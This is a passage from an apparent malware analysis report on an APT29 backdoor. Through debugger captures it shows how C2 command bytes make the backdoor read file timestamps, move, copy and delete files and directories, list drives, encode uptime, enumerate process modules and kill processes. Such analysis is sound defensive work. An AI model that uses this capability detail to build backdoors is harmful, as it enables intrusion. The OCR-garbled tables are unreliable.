Whether the C2 server specifies the "off" parameter in the network traffic, the malware calls the DisconnectNamedPipe API:

| • 00403305<br>00403306                                  | 50       | push eax                             |              |   |
|---|----------|--------------------------------------|--------------|---|
| • <   |          | and supervise acconnect that they    | >            | Default (stdcall)   |
| <apt29.disconnectnamedpipe></apt29.disconnectnamedpipe> | 16 #2706 |                                      |              | 2: [csp+4] 049C9768<br>3: [csp+8] 049C9790<br>4: [csp+C] 0FA00000 |
|   |          | Dune C 🎆 Martin I failt and 🗐 Church | 04909738 000 | 03412   |

# Figure 81

The buffer that will be exfiltrated is similar to the one presented in figure 66.

Byte = 0x20 – extract timestamps for a file mentioned by the C2 server

The FindFirstFileA routine is utilized to locate a file specified by the C2 server in the network traffic:



#### Figure 82

The malicious process converts the file time to system time format using FileTimeToSystemTime:



#### Figure 83

The GetTimeFormatA API is utilized to convert the time from above to a time string (0x800 = LOCALE\_SYSTEM\_DEFAULT, 0x80000000 = LOCALE\_NOUSEROVERRIDE):



#### Figure 84

The GetDateFormatA API is utilized to convert the date from above to a date string (0x800 = LOCALE\_SYSTEM\_DEFAULT, 0x80000000 = LOCALE\_NOUSEROVERRIDE):

| <b>312</b><br><apt29. get<="" th=""><th><ul> <li>0042F2</li> <li>0042F2</li></ul></th><th>3C 68<br/>41 8D<br/>44 50<br/>45 6A<br/>45 6A<br/>47 8D<br/>44 68<br/>50 68<br/>50 68<br/>50 68</th><th>00 01 00 00<br/>45 A8<br/>00<br/>45 E8<br/>00 00 00 80<br/>00 08 00<br/>00 65 FE FF</th><th></th><th>push 100<br/>lea eax,dwor<br/>push 0<br/>lea eax,dwor<br/>push 0<br/>push eax<br/>push soo<br/>push soo<br/>push 800<br/>push 800<br/>call <apt29< th=""><th>nd ptr ss:<br/>nd ptr ss:<br/>00<br/>GetDateForm</th><th>ebp-58]<br/>ebp-18]<br/>matA&gt;</th><th></th><th>&gt;</th><th>×871<br/>×875<br/>×875<br/>×875<br/>×875<br/>×875<br/>×875<br/>×875<br/>×875</th><th><pre>w_4 s (Emp<br/>FW_6 3 (Emp<br/>StatusWord<br/>SW_B 0 xi<br/>SW_C1 0 xi<br/>SW_SF 0 xi<br/>SW_SF</pre></th><th>0000<br/>875W_C3 (<br/>875W_C3 (<br/>875W_C0 (<br/>875W_P (<br/>000000<br/>000000<br/>k29548<br/>000000</th><th>71W_5 3 (E)<br/>71W_7 3 (E)<br/>0 x875W_C<br/>0 x875W_E<br/>0 x875W_U</th><th>* 5</th><th>Cunicol</th></apt29<></th></apt29.> | <ul> <li>0042F2</li> <li>0042F2</li></ul> | 3C 68<br>41 8D<br>44 50<br>45 6A<br>45 6A<br>47 8D<br>44 68<br>50 68<br>50 68<br>50 68 | 00 01 00 00<br>45 A8<br>00<br>45 E8<br>00 00 00 80<br>00 08 00<br>00 65 FE FF |                            | push 100<br>lea eax,dwor<br>push 0<br>lea eax,dwor<br>push 0<br>push eax<br>push soo<br>push soo<br>push 800<br>push 800<br>call <apt29< th=""><th>nd ptr ss:<br/>nd ptr ss:<br/>00<br/>GetDateForm</th><th>ebp-58]<br/>ebp-18]<br/>matA&gt;</th><th></th><th>&gt;</th><th>×871<br/>×875<br/>×875<br/>×875<br/>×875<br/>×875<br/>×875<br/>×875<br/>×875</th><th><pre>w_4 s (Emp<br/>FW_6 3 (Emp<br/>StatusWord<br/>SW_B 0 xi<br/>SW_C1 0 xi<br/>SW_SF 0 xi<br/>SW_SF</pre></th><th>0000<br/>875W_C3 (<br/>875W_C3 (<br/>875W_C0 (<br/>875W_P (<br/>000000<br/>000000<br/>k29548<br/>000000</th><th>71W_5 3 (E)<br/>71W_7 3 (E)<br/>0 x875W_C<br/>0 x875W_E<br/>0 x875W_U</th><th>* 5</th><th>Cunicol</th></apt29<> | nd ptr ss:<br>nd ptr ss:<br>00<br>GetDateForm | ebp-58]<br>ebp-18]<br>matA> |   | >   | ×871<br>×875<br>×875<br>×875<br>×875<br>×875<br>×875<br>×875<br>×875 | <pre>w_4 s (Emp<br/>FW_6 3 (Emp<br/>StatusWord<br/>SW_B 0 xi<br/>SW_C1 0 xi<br/>SW_SF 0 xi<br/>SW_SF</pre> | 0000<br>875W_C3 (<br>875W_C3 (<br>875W_C0 (<br>875W_P (<br>000000<br>000000<br>k29548<br>000000 | 71W_5 3 (E)<br>71W_7 3 (E)<br>0 x875W_C<br>0 x875W_E<br>0 x875W_U | * 5 | Cunicol |
|--|---|--|---|----------------------------|---|---|-----------------------------|---|---|--|---|---|---|-----|---------|
| .text:0042   | F255 apt29.e  | xe:\$2F255 #   | #2E655  |                            |   |   |                             |   |   | 1000   |   |   |   |     |         |
| Ump 1  | Ump 2   | Dump 3   | Dump 4  | Dump 5                     | 🛞 Watch 1   | [x=] Locals                                   | 2 Struct                    |   | 049C94B8 00<br>049C94BC 80                | 000000000000000000000000000000000000000                              |   |   |   |     |         |
| Address   H  | ex  |  |   |                            | ASCII   |   |                             | A | 04909400 04                               | 49C 95 48  |   |   |   |     |         |
| 049C9508 A<br>049C9518 0   | 0 8A 72 71 3<br>8 00 00 00 0  | 0 00 00 00 00  | 08 00 00 00<br>60 95 9C 04  | 12 00 00 74<br>14 5D 41 00 | .rq0  | jA.   |                             |   | 049C94C4 00<br>049C94C8 04<br>049C94CC 00 | 49C9508  |   |   |   |     |         |
| <b>F</b> <sup>1</sup> · · · · ·  | 05  |  |   |                            |   |   |                             |   |   |  |   |   |   |     |         |

#### Figure 85

The final buffer that will be exfiltrated contains the file name, file creation date and time, and the length of the file content:

| Address  | He | ĸ  |    |    |    |    |    |    |    |    |    |    |    |    |    |    | ASCII             |
|----------|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|-------------------|
| 0288031C | 10 | 29 | 2A | 11 | AE | 40 | 41 | AF | 00 | 00 | 00 | 00 | 01 | 00 | 00 | 00 | .)*.0@A           |
| 0288032C | 00 | 00 | 00 | 00 | 4D | 00 | 00 | 00 | 04 | 00 | 20 | 39 | 2F | 32 | 31 | 2F | M 9/21/ Figure 86 |
| 0288033C | 32 | 30 | 32 | 31 | 20 | 38 | ЗA | 32 | 32 | 3A | 31 | 32 | 20 | 50 | 4D | 20 | 2021 8:22:12 PM   |
| 0288034C | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 34 | 20 | 20 | 4                 |
| 0288035C | 74 | 65 | 73 | 74 | 2E | 74 | 78 | 74 | 0A | 00 | 00 | 00 | 00 | 00 | 00 | 00 | test.txt          |

If any error occurs during an operation such as creating a file, opening a file, and so in all studied cases, the malware formats the error message using FormatMessageA and copies it to the final buffer (0x1000 = FORMAT\_MESSAGE\_FROM\_SYSTEM, 0x2 = ERROR\_FILE\_NOT\_FOUND):

|  | push 0<br>push 400<br>push edx<br>push 0<br>push 0<br>push 0<br>push 0<br>push 1000<br>call capt29.FormatMessageA>  | X8/1 m_b s (EmpLy) X8/1 m_/ s (EmpLy)<br>X875 m_B 0 X875 m_C3 0 X875 M_C2 0<br>X875 m_B 0 X875 m_C3 0 X875 M_C2 0<br>X875 m_S7 0 X875 m_C 0 0 X875 m_U 0<br>X875 m_S7 0 X875 m_P 0 X875 m_U 0<br>Defaul (stdcal) v s to under the second se |
|--|---|---|
| .text:004165DA apt29.exe:\$165DA #159DA              |   | 4: [esp+C] 00000000   |
| Ump 1 Ump 2 Ump 3 Ump 4 Ump 5                        | Watch 1         [x=] Locals         Description         Description <thdescrinteraction< th="">         Description</thdescrinteraction<> | 00000   |
| Address Hex  | ASCII 049C9560 000  | 00002   |
| $\begin{array}{cccccccccccccccccccccccccccccccccccc$ | 0425365 0028<br>04425566 0028<br>04425570 000   | 00000<br>004000<br>000000   |

#### Figure 87

#### Byte = 0x21 – move a file to a new file

The response from the C2 server contains 2 file names. The process moves the first file to the second one by calling the MoveFileA API:

|  | <pre>00432F32 00432F36</pre> | 89 54<br>89 04 | 24 04<br>24 | 1      | nov dword pt<br>nov dword pt  | r ss: esp+4 | eax    | [esp+4<br>[esp]:             | x875W_SF 0 x875   | W_P 0 x87SW_U | 0            |
|--|------------------------------|----------------|-------------|--------|---|-------------|--------|------------------------------|---|---------------|--------------|
|  | →• 00432F39<br><             | E8 02          | 3A FD FF    |        | all <apt29.< th=""><th>MoveFileA&gt;</th><th></th><th>&gt;</th><th>Default (stdcall)</th><th></th><th>🕇 🗧 🗌 Unlock</th></apt29.<> | MoveFileA>  |        | >                            | Default (stdcall)   |               | 🕇 🗧 🗌 Unlock |
| <apt29.move< th=""><th>FileA&gt;<br/>F39 apt29.exe</th><th>:\$32F39 #32</th><th>339</th><th></th><th></th><th></th><th></th><th></th><th>2: [esp+4] 028A9<br/>3: [esp+8] 00000<br/>4: [esp+C] 049C90</th><th>DO &amp;"test1"</th><th></th></apt29.move<> | FileA><br>F39 apt29.exe      | :\$32F39 #32   | 339         |        |   |             |        |                              | 2: [esp+4] 028A9<br>3: [esp+8] 00000<br>4: [esp+C] 049C90 | DO &"test1"   |              |
| Dump 1   | Dump 2                       | Dump 3         | Dump 4      | Dump 5 | 💮 Watch 1   | [x=] Locals | Struct | 049C9098 021<br>049C909C 021 | 28A9359 "test1"<br>28A935F "test2"                        |               |              |
| Liguro   | 00                           |                |             |        |   |             |        |                              |   |               |              |

#### Figure 88

The buffer that will be exfiltrated is similar to the one presented in figure 66.

#### Byte = 0x22 – copy a file to a new file

The response from the C2 server contains 2 file names. The malware copies the first file to the second one by calling the CopyFileA API:

|  | <ul> <li>0043303</li> <li>0043303</li> <li>0043303</li> </ul> | 0 C7 4<br>8 89 5<br>C 89 0 | 4 24 08 01 (<br>4 24 04<br>4 24 | 00 00 00 | mov dword pt<br>mov dword pt<br>mov dword pt   | r ss: esp+a<br>r ss: esp+a<br>r ss: esp | ,1<br>,edx<br>,eax |       | esp+4<br>esp]:   | x875W                     | _C1 0 x87<br>_SF 0 x87                  | SW_CO O<br>SW_P O         | x875W_ES<br>x875W_U | 0            |
|--|---|----------------------------|---------------------------------|----------|--|---|--------------------|-------|------------------|---------------------------|---|---------------------------|---------------------|--------------|
| <apt29.copy< th=""><th>/FileA&gt;</th><th></th><th>C A4 FD FF</th><th></th><th>call <apt29.< th=""><th>CopyF11eA&gt;</th><th></th><th></th><th>&gt;</th><th>Default<br/>1: [e<br/>2: [e</th><th>(stdcall)<br/>sp] 028A935<br/>sp+4] 028A9</th><th>58 "test1"<br/>935E "test1</th><th>•<br/>2"</th><th>5 🗘 🗌 Unlock</th></apt29.<></th></apt29.copy<> | /FileA>   |                            | C A4 FD FF                      |          | call <apt29.< th=""><th>CopyF11eA&gt;</th><th></th><th></th><th>&gt;</th><th>Default<br/>1: [e<br/>2: [e</th><th>(stdcall)<br/>sp] 028A935<br/>sp+4] 028A9</th><th>58 "test1"<br/>935E "test1</th><th>•<br/>2"</th><th>5 🗘 🗌 Unlock</th></apt29.<> | CopyF11eA>                              |                    |       | >                | Default<br>1: [e<br>2: [e | (stdcall)<br>sp] 028A935<br>sp+4] 028A9 | 58 "test1"<br>935E "test1 | •<br>2"             | 5 🗘 🗌 Unlock |
| .text:00433  | 303F apt29.ex   | e:\$3303F #                | 3243F                           |          |  |   |                    |       |                  | 3: [e<br>4: [e            | sp+8] 00000<br>sp+C]_049C9              | 0001<br>0000 &"test       | t1"                 |              |
| Ump 1  | Dump 2  | Dump 3                     | Ump 4                           | Dump 5   | 👹 Watch 1  | [x=] Locals                             | 2 Struct           | 04909 | 098 02<br>09C 02 | 8A9358<br>8A935E          | "test1"<br>"test2"                      |                           |                     |              |
| Address   H  | ev.   |                            |                                 |          | ASCTT  |   |                    | 04909 | 00 0A0           | 000001                    | 100000                                  |                           |                     |              |

#### Figure 89

The buffer that will be exfiltrated is similar to the one presented in figure 66.

#### Byte = 0x23 – delete a file

The response from the C2 server contains a file name. The binary deletes the file using the DeleteFileA function:

| • 0043313  | 6 89 04 24       | mov dword ptr ss:[esp],eax                   | [esp]:       |   |
|--|------------------|--|--------------|---|
|  | E8 F6 05 FE FF   | call <apt29.deletefilea></apt29.deletefilea> | >            | Default (stdcall)   |
| <apt29.deletefilea> .text:00433139 apt29.exe</apt29.deletefilea> | ::\$33139 #32539 |  |              | 1: [csp] 0289358 test1<br>2: [csp+8] 0280318<br>3: [csp+8] 00000001<br>4: [csp+C] 049C90D0 &"test1" |
| till o   |                  | 6  | 04909098 028 | 8A9358   "test1"  |

#### Figure 90

The buffer that will be exfiltrated is similar to the one presented in figure 66.

GetCurrentDirectoryA is used to extract the current directory for the process:



#### Figure 91

The final buffer that will be exfiltrated contains the path extracted above:

| Address  | He  | x   |     |     |    |      |      |     |    |    |    |    |    |    |    | _  | ASCII      | ]         |
|----------|-----|-----|-----|-----|----|------|------|-----|----|----|----|----|----|----|----|----|------------|-----------|
| 0288031C | 73  | F4  | F4  | 73  | AE | 40   | 41   | AF  | 00 | 00 | 00 | 00 | 01 | 00 | 00 | 00 | 50050@A    | Figure 92 |
| 0288032C | 00  | 00  | 00  | 00  | 33 | 00   | 00   | 00  | 81 | 00 | 43 | 3A | 5C | 55 | 73 | 65 | 3C:\Use    | riguic oz |
| 0288033C | 72  | 73  | 5C  |     |    |      | 5C   | 44  | 65 | 73 | 6B | 74 | 6F | 70 | 00 | 00 | rs\Desktop |           |
| Byte = 0 | x25 | 5 — | cre | ate | а  | dire | ecto | ory |    |    |    |    |    |    |    |    |            |           |

The response from the C2 server contains a directory name. The backdoor creates the new directory using the CreateDirectoryA routine:

|   | 00433487 C7<br>0043348F 89<br>00455492 E8<br>< | 44 24 04 00 00 00 00<br>04 24<br>89 78 00 00 | mov dword ptr ss: esp-<br>mov dword ptr ss: esp]<br>call <apt29.createdire< th=""><th>4],0<br/>,eax<br/>ctoryA&gt;</th><th>[esp]:<br/>&gt;</th><th>x875w_SF 0 x875w_P 0 x875w_U 0<br/>Default (stdcall) ▼ 5 0 Unlod</th></apt29.createdire<> | 4],0<br>,eax<br>ctoryA> | [esp]:<br>>                    | x875w_SF 0 x875w_P 0 x875w_U 0<br>Default (stdcall) ▼ 5 0 Unlod            |
|---|--|--|--|-------------------------|--------------------------------|--|
| <apt29.created1<br>.text:00433492</apt29.created1<br> | rectoryA><br>apt29.exe:\$33492                 | #32892                                       |  |                         |                                | 1: [csp+4] 00000000<br>3: [csp+8] 00000001<br>4: [csp+C] 049C90D0 &"test1" |
| Ump 1   | Dump 2 🔛 Dump 3                                | Dump 4 Dump 5                                | 🛞 Watch 1 🛛 💷 Locals   | Struct                  | 049C9098 028A<br>049C909C 0000 | 9358 "test1"<br>00000  |
| Figure 93   | 3  |  |  |                         |                                |  |

The buffer that will be exfiltrated is similar to the one presented in figure 66.

#### Byte = 0x26 – delete a directory

The response from the C2 server contains a directory name. The binary deletes the directory using the RemoveDirectoryA routine:

| • 004333A4   | 89 04 24       | mov dword ptr ss:[esp],eax                 | mov dword ptr ss:[esp], eax [esp]: |     |   |           |        |
|--|----------------|--|------------------------------------|-----|---|-----------|--------|
| C C  | E8 14 95 FF FF | Carris capt29. Kemoveb rectoryAs           | >                                  | D   | efault (stdcall)  | ▼ 5 🗘 🗌 U | Inlock |
| <apt29.removedirectorya><br/>.text:004333A7 apt29.exe:\$3</apt29.removedirectorya> | 33A7 #327A7    |  |                                    | 234 | <pre>[esp] 028A9358 test1 : [esp+4] 02880318 : [esp+8] 00000001 : [esp+C] 049C90D0 &amp;"te</pre> | sti"      |        |
| Mill Dump 1 Mill Dump 1 Mills  |                | Duran 🙆 Marada a - Josef Landa - 🗐 Charada | 04909098 02                        | 8A9 | 358 "test1"   |           |        |

#### Figure 94

The buffer that will be exfiltrated is similar to the one presented in figure 66.

Byte = 0x27 – change the current directory for the process

The response from the C2 server contains a directory name. The process changes the current directory for the process to this directory:

| • 004332C1  | 89 04 24       | mov dword ptr ss:[esp],eax                     | [esp]:       |   |                |  |  |  |
|---|----------------|--|--------------|---|----------------|--|--|--|
|   | E8 03 36 FE FF | Call <apt29. setcurrentdirectorya=""></apt29.> | >            | Default (stdcall)   | ▼ 5 🗘 🗌 Unlock |  |  |  |
| <apt29.setcurrentdirectory< td=""><td>A&gt;</td><td></td><td></td><td>2: [esp+4] 02849358 test1<br/>2: [esp+4] 02880318<br/>3: [esp+8] 00000001<br/>4: [esp+C] 049C90D0 &amp;"test1"</td><td></td></apt29.setcurrentdirectory<> | A>             |  |              | 2: [esp+4] 02849358 test1<br>2: [esp+4] 02880318<br>3: [esp+8] 00000001<br>4: [esp+C] 049C90D0 &"test1" |                |  |  |  |
| and an an an an   | JECT # JEGCT   | ae (i)   | 04909098 028 | 849358 "test1"  |                |  |  |  |

#### Figure 95

The buffer that will be exfiltrated is similar to the one presented in figure 66.

Byte = 0x28 – set the current directory for the process to the %TEMP% folder

GetTempPathA is utilized to retrieve the path of the %TEMP% directory:



#### Figure 96

The file changes the current directory for the process using the SetCurrentDirectoryA API:

| 00433548   | 89 04 24              | mov dword ptr ss: esp, eax                                     | [esp]:       |   |
|--|-----------------------|--|--------------|---|
|  | E8 79 38 FE FF        | call <apt29.setcurrentdirectorya></apt29.setcurrentdirectorya> | >            | Default (stdcall)   |
| <pre><apt29.setcurrentdirectory <br="">.text:0043354E apt29.exe:\$</apt29.setcurrentdirectory></pre> | A><br>3354E #3294E    |  |              | 1: [esp143.9104 "C:\\Users\] (AppData\[<br>2: [esp+4] 049C91D4 "C:\\Users\] \\AppData\<br>3: [esp+8] 049C9210<br>4: [esp+C] 77020860 ntdll.77020860 |
| till Dump 1 till Dump 2  | Dung 2 100 Dung 4 100 | Duran 5 Mittada 1 Ivali anala 🧐 Church                         | 04909098 049 | C91D4 "C:\\Users\\ \\AppData\\Local\\Temp\\'  |

#### Figure 97

Byte = 0x29 – retrieve the valid drives on the system and their type

The valid drives on the system are extracted by calling the GetLogicalDriveStringsA function:

|  | 0042EFCF 89 44 24 04     0042EFD3 C7 04 24 00 04 00 00 |                       | mov dword ptr ss: esp+4, eax<br>mov dword ptr ss: esp],400           |                              | x875W_SF 0 x875W_P 0 x875W_U 0  |
|--|--|-----------------------|--|------------------------------|---|
| EIP  | OO42EFDA   | E8 39 46 FD FF        | call <apt29.getlogicaldrivestringsa></apt29.getlogicaldrivestringsa> | >                            | Default (stdcall)   |
| <apt29.get< th=""><th>EFDA apt29.exe:\$2</th><th>IGSA&gt;<br/>REFDA #2E3DA</th><th></th><th></th><th>2: [csp+4] 049C8C28<br/>3: [csp+4] 76A52408 bcryptprimitives.76A52408<br/>4: [csp+6] 76A52500 bcryptprimitives.76A52500</th></apt29.get<> | EFDA apt29.exe:\$2                                     | IGSA><br>REFDA #2E3DA |  |                              | 2: [csp+4] 049C8C28<br>3: [csp+4] 76A52408 bcryptprimitives.76A52408<br>4: [csp+6] 76A52500 bcryptprimitives.76A52500 |
| Dump 1   | Ump 2  | Dump 3 🔛 Dump 4 🔛 Du  | mp 5  Watch 1 🛛 💷 Locals 🎾 Struct                                    | 049C8B28 000<br>049C8B2C 049 | 00400<br>C8C28  |

#### Figure 98

The backdoor extracts the type of the drive using the GetDriveTypeA API, as displayed in figure 99.

| • 0042F000  | 89 04 24       | mov dword ptr ss: [esp], eax | [esp]:      |        |   |  |                          |  |
|---|----------------|------------------------------|-------------|--------|---|--|--------------------------|--|
| <   | E8 3C C0 00 00 | can kapt29, GetDrivelypexs   | >           | Defaul | t (stdcall)   | •  | 5 🗘 🗌 Unlock             |  |
| <apt29.getdr1vetypea><br/>.text:0042F003 apt29.exe:\$25</apt29.getdr1vetypea> | F003 #2E403    |                              |             | 2: [   | esp+4] 049C8C28<br>25p+8] 76A52408<br>25p+6] 76A52500 | 8 "C:\\"<br>8 bcryptprimitive<br>0 bcryptprimitive | s.76A52408<br>s.76A52500 |  |
|   |                | a - <u>26</u>                | 04908828 04 | 908028 | "C:\\"  |  |                          |  |

#### Figure 99

The final buffer that will be exfiltrated contains the drives name and a string that categorizes their type:



Byte = 0x2A – retrieve the computer Uptime and encrypt the value

The malware calls the GetTickCount function and stores the result in a separate buffer:

In the second s

The 4-byte value extracted above is encrypted using a custom algorithm:

```
.text:0043AC72
.text:0043AC72 loc 43AC72:
.text:0043AC72 call GetTickCount
.text:0043AC77 mov
                     edx, 10624DD3h
.text:0043AC7C mul
                     edx
.text:0043AC7E mov
                     eax, edx
.text:0043AC80 shr
                      eax, 6
                    [ebp+var_38], eax
.text:0043AC83 mov
.text:0043AC86 mov eax, [ebp+var_38]
.text:0043AC89 mov edx, 91A2B3C5h
.text:0043AC8E mul
                     edx
.text:0043AC90 mov
                     eax, edx
.text:0043AC92 shr
                     eax, 0Bh
.text:0043AC95 mov [ebp+var_3C], eax
.text:0043AC98 mov ecx, [ebp+var_38]
.text:0043AC98 mov edx, 91A2B3C5h
.text:0043ACA0 mov eax, ecx
.text:0043ACA2 mul edx
.text:0043ACA4 mov eax, edx
                     eax, 0Bh
.text:0043ACA6 shr
                     edx, eax
.text:0043ACA9 mov
                     eax, edx
.text:0043ACAB mov
                    eax, 4
.text:0043ACAD shl
.text:0043ACB0 mov edx, eax
.text:0043ACB2 mov eax, edx
.text:0043ACB4 shl eax, 4
.text:0043ACB7 sub eax, edx
.text:0043ACB9 mov edx, eax
.text:0043ACBB shl edx, 4
.text:0043ACBE sub edx, eax
                     eax, ecx
.text:0043ACC0 mov
.text:0043ACC2 sub
                    eax, edx
.text:0043ACC4 mov [ebp+var_40], eax
.text:0043ACC7 mov eax, [ebp+arg_4]
.text:0043ACCA lea edx, [eax+1Eh]
.text:0043ACCD mov eax, [ebp+var_40]
.text:0043ACD0 mov [esp+0D58h+var_D48], eax
.text:0043ACD4 mov
                   eax, [ebp+var_3C]
.text:0043ACD7 mov
                     [esp+0D58h+cchData], eax
.text:0043ACDB mov [esp+0D58h+var_D50], offset aUptime5d02dh ; "uptime %5d.%02dh\n"
.text:0043ACE3 mov
                     [esp+0D58h+nSize], 4000h
.text:0043ACEB mov [esp+0D58h+lpString], edx
.text:0043ACEE mov eax, ds:wnsprintfA
```

#### Figure 102

The final buffer that will be exfiltrated contains the result of the above encryption:



The response from the C2 server contains a string with a process ID. The atoi function is used to convert the string to a number:

| • 00425987 50  |            | push eax                       | eax:"5      |      |  |
|--|------------|--------------------------------|-------------|------|--|
| 00425988 E8 5<br><   | 3 D9 FD FF | call <apt29.atoi></apt29.atoi> |             | De   | fault (stdcall)  |
| <apt29.ato1><br/>.text:00425988 apt29.exe:\$25988 #</apt29.ato1> | 24D88      |                                |             | 234  | [csp+0] 0280336 5132<br>[csp+8] 0280318<br>[csp+8] 0000001<br>[csp+C] 049C9478 &"5192" |
|  |            | - <u>@</u>                     | 04909458 02 | 8A93 | 56   "5192"  |

The malicious binary opens the local process object that corresponds to the process ID using the OpenProcess routine (0x1F0FFF = **PROCESS\_ALL\_ACCESS**):

| 004259A7 50     004259A8 6A 00     004259AA 68 FF 0F 1F 0     004259AA 68 FF 0F 1F 0     004259AA 68 FF 0F 1F 0   |             |              |            |        | push eax<br>push 0<br>push 1F0FFF  |             |             | x                        | 875W_C1 0 x875W_C0<br>875W_SF 0 x875W_P | 0 x87SW_ES<br>0 x87SW_U                    | S 0<br>J 0 |      |        |
|---|-------------|--------------|------------|--------|--|-------------|-------------|--------------------------|---|--|------------|------|--------|
| <apt29.0per< th=""><th>004259</th><th>AF ES A</th><th>8 D5 FD FF</th><th></th><th>call <apt29.< th=""><th>OpenProcess</th><th><b>&gt;</b></th><th>&gt;</th><th>&gt; De</th><th>efault (stdcall)<br/>: [esp] 001F0FFF</th><th></th><th>5 \$</th><th>Unlock</th></apt29.<></th></apt29.0per<> | 004259      | AF ES A      | 8 D5 FD FF |        | call <apt29.< th=""><th>OpenProcess</th><th><b>&gt;</b></th><th>&gt;</th><th>&gt; De</th><th>efault (stdcall)<br/>: [esp] 001F0FFF</th><th></th><th>5 \$</th><th>Unlock</th></apt29.<> | OpenProcess | <b>&gt;</b> | >                        | > De                                    | efault (stdcall)<br>: [esp] 001F0FFF       |            | 5 \$ | Unlock |
| .text:00425   | 9AF apt29.e | xe:\$259AF # | 24DAF      |        |  |             |             |                          | 3:                                      | : [esp+8] 00001448<br>: [esp+C] 049C9478 & | "5192"     |      |        |
| Ump 1   | Dump 2      | Ump 3        | Ump 4      | Dump 5 | 👹 Watch 1  | [x=] Locals | Struct      | 049C9458 0<br>049C945C 0 | 01F0F<br>00000                          | FFF<br>000                                 |            |      |        |
| Address He  | AV          |              |            |        | ASCIT  |             |             | 04909460 0               | 00014                                   | 148  |            |      |        |

# Figure 105

EnumProcessModules is utilized to enumerate the modules of the targeted process:

| 004259FB     004259FC     004259FC     004259FC                                       | 56<br>68 00 80 00 00         | push esi<br>push 8000   |                |                                | x875W_B 0 x875W_C3 0 x875V<br>x875W_C1 0 x875W_C0 0 x875V         | (_C2 0<br>(_ES 0 |
|---|------------------------------|-------------------------|----------------|--------------------------------|---|------------------|
| 00425A01  | 50                           | push eax                | attended and a |                                | X8/5W_5F 0 X8/5W_F 0 X8/5V  |                  |
| <   | ES 34 ID FE FF               | call sape29. Enumproces | smodures>      | >                              | Default (stdcall)   | ▼ 5 😫 🗌 Unlock   |
| <apt29.enumprocessmodules><br/>.text:00425A03 apt29.exe:\$</apt29.enumprocessmodules> | 25A03 #24E03                 |                         |                |                                | 2: [esp+4] 049CF033<br>3: [esp+8] 00008000<br>4: [esp+6] 049CF01F |                  |
| Ump 1 Ump 2   | Dump 3 🗰 Dump 4 🗰 Dump 5     | 🛞 Watch 1 🛛 🕅 🖉 🖉       | 2 Struct       | 049C9458 000<br>049C945C 049   | 002C8<br>CF033  |                  |
| Address Hex   | 00 00100 00 00 00100 00 00 0 | ASCII                   |                | ^ 049C9460 000<br>049C9464 049 | 08000<br>CF01F  |                  |

# Figure 106

GetModuleFileNameExA is used to retrieve the path of the file that contains a specific module. This is an interesting way to find out the path to the executable that corresponds to the targeted process ID:

|   | <ul> <li>004380</li> <li>004380</li> <li>004380</li> <li>004380</li> <li>004380</li> <li>004380</li> </ul> | B1 68 0<br>B6 8D 8<br>BC 56<br>BD 52<br>BE 50 | 00 04 00 00<br>35 E8 FB FF | FF     | push 400<br>lea esi,dwor<br>push esi<br>push edx<br>push eax   | d ptr ss:   | ebp-418      |              | 3    | x875W_B 0 x875W_C3<br>x875W_C1 0 x875W_C3<br>x875W_SF 0 x875W_C0 | 0 x87SW_C2 0<br>0 x87SW_ES 0<br>0 x87SW_U |              |
|---|--|---|----------------------------|--------|--|-------------|--------------|--------------|------|--|---|--------------|
| <apt29.getm< th=""><th>40duleFileNam</th><th>neExA&gt;</th><th>LO ED FD FF</th><th></th><th>call <apt29.< th=""><th>GetModuleF</th><th>I TENAMEEXA&gt;</th><th>&gt;</th><th>D 1</th><th>efault (stdcall)<br/>: [esp] 000002C8<br/>: [esp+4] 00400000 a</th><th>▼ [<br/>pt29.00400000</th><th>5 🗘 🗌 Unlock</th></apt29.<></th></apt29.getm<> | 40duleFileNam  | neExA>  | LO ED FD FF                |        | call <apt29.< th=""><th>GetModuleF</th><th>I TENAMEEXA&gt;</th><th>&gt;</th><th>D 1</th><th>efault (stdcall)<br/>: [esp] 000002C8<br/>: [esp+4] 00400000 a</th><th>▼ [<br/>pt29.00400000</th><th>5 🗘 🗌 Unlock</th></apt29.<> | GetModuleF  | I TENAMEEXA> | >            | D 1  | efault (stdcall)<br>: [esp] 000002C8<br>: [esp+4] 00400000 a     | ▼ [<br>pt29.00400000                      | 5 🗘 🗌 Unlock |
| .text:00438   | BOBF apt29.ex  | (e:\$380BF #                                  | 374BF                      |        | 26   |             | (5)          | 04908528     | 34   | : [esp+8] 049C9038<br>: [esp+C] 00000400                         |   |              |
| Dump 1  | Dump 2   | Dump 3  | Dump 4                     | Dump 5 | Watch 1  | [x=] Locals | 2 Struct     | 049C8F2C 0   | 0400 | 000 apt29.00400000   |   |              |
| Address   H   | ex   |   |                            |        | ASCII  |             |              | ^ 049C8F30 0 | 4909 | 038  |   |              |

# Figure 107

The final buffer that will be exfiltrated contains the address of the module from above and the path to the executable:



# The response from the C2 server contains a string with a process ID. The backdoor opens the local process object that corresponds to the process ID using the OpenProcess routine

| 00     00     00                        | 06328 89<br>0632F C7<br>06337 C7 | 44 24 08<br>44 24 04 00 0<br>04 24 01 00 0 | 0 00 00 | mov dword ptr<br>mov dword ptr<br>mov dword ptr  | ss: esp+4<br>ss: esp+4 | ,eax<br>,0 |                      |      | x875W_C1 0 x875W_C0 0 x875<br>x875W_SF 0 x875W_P 0 x875                   | W_ES 0<br>W_U 0 |
|---|----------------------------------|--|---------|--|------------------------|------------|----------------------|------|---|-----------------|
|   | 06335 68                         | L9 CC FF FF                                |         | call <apt29.0< th=""><th>penProcess</th><th>&gt;</th><th></th><th>&gt;</th><th>Default (stdcall)</th><th>▼ 5 🗘 🗌 Unloc</th></apt29.0<> | penProcess             | >          |                      | >    | Default (stdcall)   | ▼ 5 🗘 🗌 Unloc   |
| <apt29.0penprocess></apt29.0penprocess> | 9.exe:\$633E #5                  | 73E  |         |  |                        |            |                      |      | 1: [csp+4] 00000000<br>3: [csp+8] 00001448<br>4: [csp+C] 049C9480 &"5192" |                 |
| Dump 1                                  | 2 Dump 3                         | Ump 4                                      | Ump 5   | 💮 Watch 1  | [x=] Locals            | 2 Struct   | 049C9428<br>049C942C | 0000 | 00001   |                 |

The binary kills the targeted process using TerminateProcess, as described in figure 110:

